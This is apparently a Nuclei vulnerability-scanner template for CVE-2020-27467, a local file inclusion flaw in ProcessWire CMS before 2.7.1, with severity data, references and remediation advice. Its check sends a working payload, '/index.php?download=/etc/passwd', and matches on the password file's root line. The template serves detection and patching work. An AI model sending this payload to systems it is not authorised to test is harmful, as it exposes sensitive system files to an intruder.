nuclei-templates/http/cves/2020/CVE-2020-27467.yaml

45 lines
1.4 KiB
YAML

id: CVE-2020-27467
info:
name: Processwire CMS <2.7.1 - Local File Inclusion
author: 0x_Akoko
severity: high
description: Processwire CMS prior to 2.7.1 is vulnerable to local file inclusion because it allows a remote attacker to retrieve sensitive files via the download parameter to index.php.
remediation: |
Upgrade Processwire CMS to version 2.7.1 or later to fix the Local File Inclusion vulnerability.
reference:
- https://github.com/Y1LD1R1M-1337/LFI-ProcessWire
- https://processwire.com/
- https://github.com/ceng-yildirim/LFI-processwire
- https://nvd.nist.gov/vuln/detail/CVE-2020-27467
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
cvss-score: 7.5
cve-id: CVE-2020-27467
cwe-id: CWE-22
epss-score: 0.00845
epss-percentile: 0.80268
cpe: cpe:2.3:a:processwire:processwire:*:*:*:*:*:*:*:*
metadata:
max-request: 1
vendor: processwire
product: processwire
tags: cve,cve2020,processwire,lfi,cms,oss
http:
- method: GET
path:
- "{{BaseURL}}/index.php?download=/etc/passwd"
matchers-condition: and
matchers:
- type: regex
regex:
- "root:[x*]:0:0"
- type: status
status:
- 200
# digest: 4a0a0047304502202ddef3ed67532cc4b58780574d557a6a8403eb86f2ff51555ffd756709dcd7cb022100f307582f1971f6bcfc8d0a90095a4f43a110c32385b784e85bf787e96df953e2:922c64590222798bb761d5b6d8e72950